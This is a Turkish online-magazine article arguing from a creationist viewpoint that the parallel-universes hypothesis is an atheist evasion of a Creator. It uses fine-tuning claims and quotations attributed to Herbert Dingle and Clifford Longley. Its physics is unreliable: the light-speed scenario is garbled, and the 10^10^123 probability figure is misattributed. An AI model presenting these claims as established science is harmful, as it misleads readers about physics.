Buraya kadar sizlere modern fizik alanında maddeyi ve paralel evreni anlattım.
Şimdi ise bu konunun yanlışlarını ve eksikliklerini anlatmak istiyorum.

“Paralel evrenler” ya da “çok dünyalar” diye bilinen tez de Stern’in “şizofrenik” olarak nitelendirdiği evrenin yaratılışını inkâr etmeye çalışan düşüncenin bir türevidir. Paralel evrenler kavramı sonsuz sayıda dünyanın var olduğunu ve bizim bunların her birinde birbirinden farklı versiyonlarımızın bulunduğunu bu yüzden de hepsinin farklı olaylar zincirinin gelişmesini sağladığını iddia eder.
Bu tezdeki temel gaye yaşamı barındıran bir evren meydana getirmek için olası denemelerin sayısını ve zamanın miktarını artırmak ve dolayısıyla evrenin sözde ihtimaller dahilinde oluşabilme olasılığını yükseltmektir. Paralel evrenler düşüncesi ne kadar ihtimal dışı olursa olsun her olayın başka bir paralel evrende gerçekleşebileceği iddiasını taşır.

“Çok dünyalar” hipotezi çok büyük sorunları içinde barındırır. Çok evrenleri içeren hali hazırdaki tüm kozmolojik modeller bu evrenleri yaratmak için bir mekanizmaya gereksinim duyarlar. Ucu üzerinde durmayı başarabilecek kalem örneğinde olduğu gibi evrenin var olması çok hassas ayarlamaları gerektirir.
Söz gelimi ışığın hızı saniyede 300.000 kilometredir. Eğer ışık küçük bir ölçekte şimdikinden daha hızlı olsaydı termonükleer reaksiyonlarda şimdikinden on binlerce kat daha fazla enerji üretilecekti. Bu durumda da yıldızların çekirdeğindeki enerji çok daha çabuk tüketilecek ve evrenimiz milyonlarca yıl önce karanlığa gömülmüş olacaktı. Peki ya ışık küçük bir ölçekte şimdikinden daha yavaş olsaydı? Bu durumda evrenin başlangıçtaki genişlemesi çok daha yavaş olacak ve evren çekim gücünün etkisinden kurtulamayarak çökecekti. Yani her iki durumda da hayatın var olması imkânsız olacaktı. Yukarıda da söz konusu edildiği gibi bilim adamları ışığın bu hızda olduğu evrenin ortaya çıkması ihtimalini 10 üzeri 10 üzeri 123’te bir olarak hesaplamışlardır. İmkânsız olmasına karşın bir an için hızı saniyede 200.000 km. olan bir evrenin var olduğunu varsayalım. Böyle bir evren için yapılacak ihtimal hesapları da hızı saniyede 300.000 km. olan ışığı barındıran evrenin ihtimal hesaplarından farklı olmayacaktır. Görüldüğü gibi ışık hızının 200.000 km olduğu bir evrenin varlığını var saymak bile paralel evrenler iddiasını içine düştüğü açmazdan kurtaramamaktadır.
Bazı bilim adamları sırf Big Bang’in “evrenin bir Yaratıcısı olduğu” gerçeğini delillendirmesi nedeniyle ateist fikirlerine destek olacağını düşündükleri yeni arayışlar içine girmişlerdir. Paralel evrenler teorisi de “açılır kapanır sonsuz evren modeli” ya da “Kuantum evren modeli”nde olduğu gibi böyle bir arayışın sonucudur. Kozmolog Stephen Hawking de bu tip arayışlar içinde olan bilim adamlarından biridir. Prof. Herbert Dingle bu arayışlar ve Hawking hakkında şu değerlendirmeyi yapar:

“…matematikte soyut teorik olarak varılan bir sonuç bunun gerçek bir karşılığının olmasını gerektirmez. İşte Hawking matematiğin bu soyut özelliğini kullanmakta ve hiçbir gerçekliğe karşılık gelmeyen varsayımlar üretmektedir. Peki acaba bu çabasının nedeni ne olabilir? Cevabı kendi sözlerinde bulmak mümkündür. Hawking Big Bang’e alternatif olarak öne sürülen evren modellerinin çoğunlukla Big Bang’in “İlahi yaratılışı çağrıştırması nedeniyle” ortaya atıldığını kabul etmektedir.”

Allah’ın evrenin Yaratıcısı olduğu gerçeğinden kaçmak için çok dünyalar iddiasının kullanılması genelde bir tür ümitsizliği açığa vurmaktadır. Gazeteci yazar Clifford Longley London Times’ta yayınlanan bir yazısında evrenin yaşam için gerekli tüm koşullarla birilikte yaratıldığını belirttikten sonra şöyle devam eder:

“Bunun alternatifi üzerinde diretmek Shakespeare’in eserlerinin Shakespeare tarafından değil de bir milyar daktilonun başına oturmuş bir milyar maymunun bir milyar yıl boyunca süren yazma işleminin sonucunda yazıldığında ısrar etmeye benzer. Bu olabilir.Ama böylesine ümitsiz çarelere başvuran bilimsel ateistlerin bakış açısı Allah’a inananların söylediklerini güçlendirmiştir.”

Evren hakkında yapılan her inceleme bize evrende olağanüstü bir tasarımın olduğunu gösterir. Bu da evrenin her detayına hakim olan sonsuz bir güç ve akıl sahibi bir Yaratıcı’ın varlığını ispatlar. Evreni ve canlı yaşamına olanak verecek şekilde yaratılmış olan Dünya’yı kusursuz biçimde var eden Allah’tır.

Türkiye'nin Sanal Dergisi

%d blogcu bunu beğendi: